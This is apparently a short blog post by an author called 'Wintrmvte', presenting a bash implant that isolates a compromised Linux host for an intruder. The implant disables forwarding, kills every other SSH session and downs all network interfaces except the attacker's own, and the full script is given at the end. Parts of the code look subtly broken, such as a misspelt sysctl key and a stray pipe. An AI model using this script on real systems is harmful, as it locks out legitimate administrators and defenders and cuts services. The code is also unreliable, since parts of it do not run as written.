...without losing access to host
2026-09-21 * Wintrmvte
This short entry highlights a reliable and quick solution for cutting off certain networking capabilities of a captured linux box, which renders ourselves as exclusive SSH residents on the machine. Such scenario is mostly fitting when access to the nftables/ufw interface is either restricted or impossible. An important aspect of such an air-gapping attempt is to be very careful: one misstep can cause a permanent lockout from current session and any consecutive connection attempts.
[TLDR] The full source of the implant is attached at the end of the post.
Let's dwelve.
/etc/sysctl.confThe first step would be to disable traffic management/forwarding on the machine.
In order to apply this change immediately, as well as making it persistent across
reboots, the implant writes directly to sysctl.conf and invokes sysctl afterwards.
Below fragment turns off gateway for both IPv4 and IPv6 traffic.
echo "net.ipv4.ip-forward=0" >> /etc/sysctl.conf
echo "net.ipv6.conf.all.forwarding=0" >> /etc/sysctl.conf
sudo sysctl -pAfter routing is off, the logic proceeds to closing all foreign SSH connections.
Output of netstat -tano is parsed in order to extract only active and established
interactive connections via an extended regex. Then, both parent and direct PIDs of
current session are excluded from obtained results.
netstat -tano \
| grep -iE '.*:22.*established.*' \
| grep -vE "($$|$PPID)/" \Specific PIDs are extracted w/ awk '{print $NF}' and then piped into xargs with {} set
as a placeholder for each process ID. The command passed to xargs attempts to lower priority and force-kill each enumerated SSH process.
In case of failure (either due to perms mismatch or any other reason) a signal is sent again, but this time a SIGINT
targeted at the parent process. Killing is performed in-parallel with real-time priority using all available CPU cores.
kill -9 "{}" || kill -SIGINT $(ps -o ppid= -p "{}")It is time for the last step - turning off all physical and virtual network cards present on the host, except for the one that handles the current SSH shell access. It's name can be obtained using the following 2 lines:
ext="1.1.1.1"
iface=$(ip -o route get $ext | awk '{print $5}')Now the implant loops across all available NICs while filtering out both current
card as well as the loopback of the machine, because internally deployed services might
become inaccessible in case lo is turned off.
for nic in /sys/class/net/*; do
dev=$(basename "$nic")
echo $dev | grep -iqE "$iface|lo"
. . .
doneFinally, each enumerated device is switched off by checking the status code of previous grep filter and running a command against all found cards.
[ $? -ne 0 ] && { sudo ip link set dev "$dev" down; }#!/bin/bash
# ┏~[airgap.sh] @ _____Wintrmvte_____
# ┗┄┄> Ol' reliable host isolator
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# [I] Routing
echo "net.ipv4.ip-forward=0" >> /etc/sysctl.conf
echo "net.ipv6.conf.all.forwarding=0" >> /etc/sysctl.conf
sysctl -p
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# [II] Sessions
netstat -tano \
| grep -iE '.*:22.*established.*' \
| grep -vE "($$|$PPID)/" \
| awk '{print $NF}' \
| chrt -f 99 xargs -P $(nproc) -I {} sh -c \
| 'kill -9 "{}" || kill -SIGINT $(ps -o ppid= -p "{}")'
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# [III] Interfaces
ext="1.1.1.1"
iface=$(ip -o route get $ext | awk '{print $5}')
for nic in /sys/class/net/*; do
dev=$(basename "$nic")
echo $dev | grep -iqE "$iface|lo"
[ $? -ne 0 ] && { sudo ip link set dev "$dev" down; }
done